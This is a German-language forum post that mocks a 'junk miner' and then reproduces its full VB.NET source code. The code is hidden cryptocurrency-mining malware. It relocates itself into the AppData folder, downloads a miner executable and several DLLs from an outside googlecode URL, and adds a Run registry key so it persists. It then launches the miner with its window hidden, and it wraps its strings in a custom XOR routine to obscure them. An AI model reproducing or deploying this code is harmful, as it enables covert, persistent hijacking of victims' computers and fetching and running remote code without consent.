Richtiger Schrottminer!
Läd die files unverschlüsselt herunter auf die Platte und startet dann von dort aus.
Zudem sind die Download links alle down.
Miner Source(VB.NET Sh*t):
Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Threading
Imports System.Text
Imports Microsoft.VisualBasic
Imports System
Imports Microsoft.Win32
Imports System.Reflection
Module Module1
Public Declare Function [GetModuleFileName] Lib "kernel32" Alias "GetModuleFileNameA" (ByVal [hModule] As Integer, ByVal [lpFileName] As String, ByVal [nSize] As Integer) As Integer
Public Declare Function [MoveFile] Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal [lpExistingFileName] As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal [lpNewFileName] As String, ByVal [dwFlags] As Long) As Integer
Sub Main()
Dim [mutexString] As String = [Decrypt]("[mjwzCaJUioOZIIF]", "[KEYOK]")
Dim [muteXX] As Mutex
Try
[muteXX] = Mutex.OpenExisting([mutexString])
Environment.[Exit](0)
Catch Ex As Exception
[muteXX] = New Mutex(True, [mutexString])
End Try
If (Not Directory.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]"))) Then
Directory.CreateDirectory(Environ("appdata") & "" & [Decrypt]("[FolderMiner]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[Miner.exe]", "[KEYOK]")) = False Then
[MoveFile](LSet(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, [GetModuleFileName](0, System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, 256)), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[Miner.exe]", "[KEYOK]"), 8)
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[coin-miner.exe]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/coin-miner.exe]", "[KEYOK]"), (Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[coin-miner.exe]", "[KEYOK]")))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[usft_ext.dll]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/usft_ext.dll]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[usft_ext.dll]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[miner.dll]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/miners.dll]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[miner.dll]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[coinutil.dll]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/coinutil.dll]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[coinutil.dll]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[phatk.ptx]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/phatk.ptx]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[phatk.ptx]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[phatk.cl]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/phatk.cl]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[phatk.cl]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[phatk.cl]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/btc.il]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[btc.il]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[btc-evergreen.il]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/btc-evergreen.il]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[btc-evergreen.il]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[guicomp.dll]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/guicomp.dll]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[guicomp.dll]", "[KEYOK]"))
End If
If File.Exists(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[interop.coineng.dll]", "[KEYOK]")) = False Then
My.Computer.Network.DownloadFile([Decrypt]("[http://themine.googlecode.com/files/interop.coineng.dll]", "[KEYOK]"), Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[interop.coineng.dll]", "[KEYOK]"))
End If
My.Computer.Registry.CurrentUser.OpenSubKey([Decrypt]("[SoftwareMicrosoftWindowsCurrentVersionRun]", "[KEYOK]"), True).SetValue([Decrypt]("[RegKey]", "[KEYOK]"), (Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[Miner.exe]", "[KEYOK]")))
' "[KEYOK]") & "" & "[coin-miner.exe]", "-o http://[pool]:[port] -u [username] -p [password] -g [yes|no] -I [-10|10] -t [0|4] -T [temp]")
Shell(Environ([Decrypt]("[appdata]", "[KEYOK]")) & "" & [Decrypt]("[FolderMiner]", "[KEYOK]") & "" & [Decrypt]("[coin-miner.exe]", "[KEYOK]") & " " & [Decrypt]("[poolinfo]", "[KEYOK]"), vbHide)
End Sub
Public Function [Decrypt](ByVal [plain] As String, ByVal [key] As String) As String
Return UnicodeEncoding.UTF8.GetString([Decrypt](Convert.FromBase64String([plain]), UnicodeEncoding.UTF8.GetBytes([key])))
End Function
Public Function [Decrypt](ByVal [plain] As Byte(), ByVal [key] As Byte()) As Byte()
Dim [wholeState] As Byte() = DirectCast([plain].Clone(), Byte())
For [round] As Integer = 4 To 0 Step -1
For [i] As Integer = 0 To [wholeState].Length - 1
For [k] As Integer = 0 To [key].Length - 1
[wholeState]([i]) = CByte([wholeState]([i]) Xor (((([key]([k]) << [round]) Xor [k]) + [i])) And 255)
Next
[wholeState]([i]) = CByte([wholeState]([i]) Xor [key]([i] Mod ([key].Length)))
Next
Next
Return [wholeState]
End Function
End Module
Gruß, Rastajan.
Edited by Rastajan, 23 March 2014 - 12:30 Uhr.
â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
░░░░░░░█░█▀▀░░█▀█░░█░░█░█▀░░
░░░░░░░█░▀▀█░░█▀█░░█░░█░█▀░░
░▀░▀░▀░▀░▀▀▀░░▀░▀░░▀▀░▀░▀▀░░
â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘